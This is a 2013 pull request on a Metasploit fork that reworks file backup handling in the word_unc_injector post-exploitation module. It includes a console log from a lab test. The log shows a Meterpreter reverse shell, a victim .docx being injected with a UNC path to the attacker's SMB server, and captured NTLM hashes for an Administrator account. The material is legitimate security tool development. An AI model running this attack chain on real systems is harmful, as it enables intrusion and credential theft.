SphaZ/metasploit-framework — pull request #1 by jvazquez-r7 (2013-03-27 10:24:15+00:00)
Title: work on word_unc_injector

Hi SphaZ,

This pull requests references https://github.com/rapid7/metasploit-framework/pull/1424 . This is the way I feel more comfortable with this module:

* Since there is the option BACKUP which allows the user when keep or not the Remote file, I dont feel uncomfortable saving it as loot when the user sets BACKUP to true. Even when there is a subtle difference between the concepts of loot and backup. I prefer to use store_loot because it's absolutely easier to manage the local files on multiuser environments. (The current way wasn't having into account multiuser environments issues).

* When BACKUP is false I've switched to Rex::Quickfile (which is basically a Tempfile :)), using an instance variable I'm not experiencing issues with it.

Please feel free to review, test, discuss any point and once you feel comfortable with changes (if we reach this point awright :P), land it into your repo and the original pull request will be automatically updated.

Test results after changes:

```
msf > workspace -a word_injector_post
[*] Added workspace: word_injector_post
msf > use exploit/multi/handler
msf exploit(handler) > rexploit
[*] Reloading module...

[*] Started reverse handler on 192.168.1.129:4444
[*] Starting the payload handler...
[*] Sending stage (752128 bytes) to 192.168.1.147
[*] Meterpreter session 1 opened (192.168.1.129:4444 -> 192.168.1.147:1983) at 2013-03-27 11:11:55 +0100

meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use post/windows/injector/word_unc_injector
msf post(word_unc_injector) > show options

Module options (post/windows/injector/word_unc_injector):

Name Current Setting Required Description
---- --------------- -------- -----------
BACKUP true yes Make local backup of remote file.
FILE yes Remote file to inject UNC path into.
SESSION yes The session to run this module on.
SMBHOST yes Server IP or hostname that the .docx document points to

msf post(word_unc_injector) > set SMBHOST 192.168.1.129
SMBHOST => 192.168.1.129
msf post(word_unc_injector) > set SESSION 1
SESSION => 1
msf post(word_unc_injector) > set FILE c:\\test3.docx
FILE => c:\test3.docx
msf post(word_unc_injector) > run

[*] Downloading remote file c:\test3.docx.
[*] Local backup kept at /Users/juan/.msf4/loot/20130327111229_word_injector_po_192.168.1.147_host.word_unc_in_567544.bin
[*] Uploaded injected file.
[+] Done! Remote file c:\test3.docx succesfully injected to point to 192.168.1.129
[*] Post module execution completed
msf post(word_unc_injector) > notes
[*] Time: 2013-03-27 10:11:58 UTC Note: host=192.168.1.147 type=host.os.session_fingerprint data={:name=>"JUAN-C0DE875735", :os=>"Windows XP (Build 2600, Service Pack 3).", :arch=>"x86"}
[*] Time: 2013-03-27 10:12:29 UTC Note: host=192.168.1.147 type=host.word_unc_injector.changedfiles data={:session_num=>1, :stype=>"meterpreter", :desc=>"JUAN-C0DE875735\\Administrator @ JUAN-C0DE875735", :platform=>"x86/win32", :via_payload=>"payload/windows/meterpreter/reverse_tcp", :via_exploit=>"exploit/multi/handler", :created_at=>2013-03-27 10:12:29 UTC, :files_changed=>"Remote file c:\\test3.docx contains UNC path to 192.168.1.129. Local backup of file at /Users/juan/.msf4/loot/20130327111229_word_injector_po_192.168.1.147_host.word_unc_in_567544.bin."}
msf post(word_unc_injector) > use auxiliary/server/capture/smb
msf auxiliary(smb) > run
[*] Auxiliary module execution completed
msf auxiliary(smb) >
[*] Server started.
[*] SMB Capture - Empty hash captured from 192.168.1.147:1984 - 192.168.1.147 captured, ignoring ...
[*] SMB Captured - 2013-03-27 11:13:26 +0100
NTLMv1 Response Captured from 192.168.1.147:1984 - 192.168.1.147
USER:Administrator DOMAIN:JUAN-C0DE875735 OS:Windows 2002 Service Pack 3 2600 LM:Windows 2002 5.1
LMHASH:b5e0b34cf7ff7d8c9a29652ff53d190d2f85252cc731bb25
NTHASH:3a41436175532fcdc366365c2aa213513b622afe35bc0c08

[*] SMB Capture - Empty hash captured from 192.168.1.147:1993 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:1999 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:2006 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:2008 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:2011 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:2017 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:2023 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:2025 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:2027 - 192.168.1.147 captured, ignoring ...
[*] SMB Capture - Empty hash captured from 192.168.1.147:2030 - 192.168.1.147 captured, ignoring ...
Interrupt: use the 'exit' command to quit
msf auxiliary(smb) > Interrupt: use the 'exit' command to quit

```